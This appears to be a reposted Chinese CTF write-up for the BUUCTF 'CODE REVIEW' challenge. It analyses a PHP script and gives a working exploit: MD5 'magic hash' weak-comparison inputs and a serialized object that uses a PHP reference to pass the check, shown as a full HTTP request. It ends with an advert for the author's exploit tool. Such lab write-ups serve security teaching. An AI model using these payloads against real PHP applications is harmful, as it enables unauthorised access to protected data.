zoukankan      html  css  js  c++  java
  • BUUCTF 基础CODE REVIEW

    1、说明:

    题目来自于BUUCTF 的基础部分,内容就如题,是一个代码审计。代码如下:

    <?php
    /**
     * Created by PhpStorm.
     * User: jinzhao
     * Date: 2019/10/6
     * Time: 8:04 PM
     */
    
    highlight_file(__FILE__);
    
    class BUU {
       public $correct = "";
       public $input = "";
    
       public function __destruct() {
           try {
               $this->correct = base64_encode(uniqid());
               if($this->correct === $this->input) {
                   echo file_get_contents("/flag");
               }
           } catch (Exception $e) {
           }
       }
    }
    
    if($_GET['pleaseget'] === '1') {
        if($_POST['pleasepost'] === '2') {
            if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
                unserialize($_POST['obj']);
            }
        }
    }
    

    2、代码内容分析

    代码主要可以分为4部分,如下图

    0部分为一个class,而且在第三部分看见了反序列化unserialize($_POST['obj']); 内容,那么就十之八九是反序列化。但是先不用去处理。且在class中可以获得flag的值。

    1部分为一个IF 满足进入的条件为get 传参的值为1

    2部分也是一个IF 满足条件为post 传参的值为2

    3部分也是一个IF 满足条件为 需要两个不同的数。且这两个不同的数值的md5 的却相同 。

    如果 123 条件都满足之后就会执行反序列化,通过POST 传参obj 执行,然后进入区域0

    0区域也有一个IF 满足条件为属性correct与属性input相等。 但是correct 却是利用一个时间进行计算的值的base64 值。

    3、以上每个条件的满足方式

    第一部分

    只需要在url 中传参即可,如下图

    第二部分

    使用burpsuit截断内容,改变传输方式为POST。如下

    改变为POST 之后, URL 中传值的1 也会自动下来, 需要手动调整上去。

    第三部分

    第三部分为md5值得比较。通常可以用数组 做比较绕过和弱类型 比较绕过。
    这里使用弱类型比较绕过。
    原理:PHP 当中使用== 来进行比较的时候,系统会自动处理数据类型, 进行分析是数字比较还是字符比较。 而当一个字符串值是e0开通的时候,那么就会被当中数值。而e0xxxxxx都为0.
    那么就只需要找到两个不同的数值,开头却是以e0开头的即可。也是蛮多的,如下图中所示。

    然后传参md51md52 即可。 这样就可以达到md51md52 不相同。 但是他们的md5值却在php中相等。
    传参方式和post一样, 使用& 符号链接。 内容如下图:

    反序列化与引用处理。

    反序列化的处理方式很简单。 值需要将原class 中的方法去掉,放进php在线运行 中去,序列化一下即可获得可以运行的序列化内容。
    如图:

    但是以上序列化之后的字符串通过post['obj'] 只能达到解析的目的。 解析后内容可以控制。却因为uniqid()函数产生的数是随时变化的,无法预测,所以input 传值多少无法确定。

    这里就是本题的重要考点引用 的反序列化。 我们可以简单的把引用简单的理解为C 语言中的地址指针。
    看如下代码

    $a=&$b;
    $a=1;//此时 输出$b 那么变量b就为1
    $a=123;//此时输出$b 那么变量b就为123
    

    由以上代码可以发现,当变量b为a的引用的时候,b的值随a变化。

    道理我都懂了, 那么只需要$this->input$this->correct 的引用即可。

    $this->input=&$this->correct
    

    构造方式如下图:

    只需要在序列化的时候设置一下即可。

    完整poc如下图

    http报文如下

    POST /?pleaseget=1 HTTP/1.1
    Host: a27be653-d322-4e8f-96a8-07b27c77f559.node3.buuoj.cn
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 103
    Content-Type: application/x-www-form-urlencoded
    
    pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
    

    私货

    limanmanExp 5.2版本发布了。 增加了数据库审计插件。 想要的小伙伴可以看B站。
    

    https://www.bilibili.com/video/BV1UK4y1U7G6
    下载地址在简介中。 还附带了一些简单的exp插件。 如果有兴趣自定义开发插件,也可以在看云手册中查看开发方法
    地址https://www.kancloud.cn/qq496672097/limanmanexp/2139143

  • 相关阅读:
    获取当前时区时间
    python lambda表达式详解
    Odoo 12开发之开发环境准备
    初步了解odoo12
    web前端面试题
    实现一个优先级队列
    面试题
    python读取和生成excel文件
    Django基础
    virtualenv
  • 原文地址:https://www.cnblogs.com/limanman233/p/14617341.html
Copyright © 2011-2022 走看看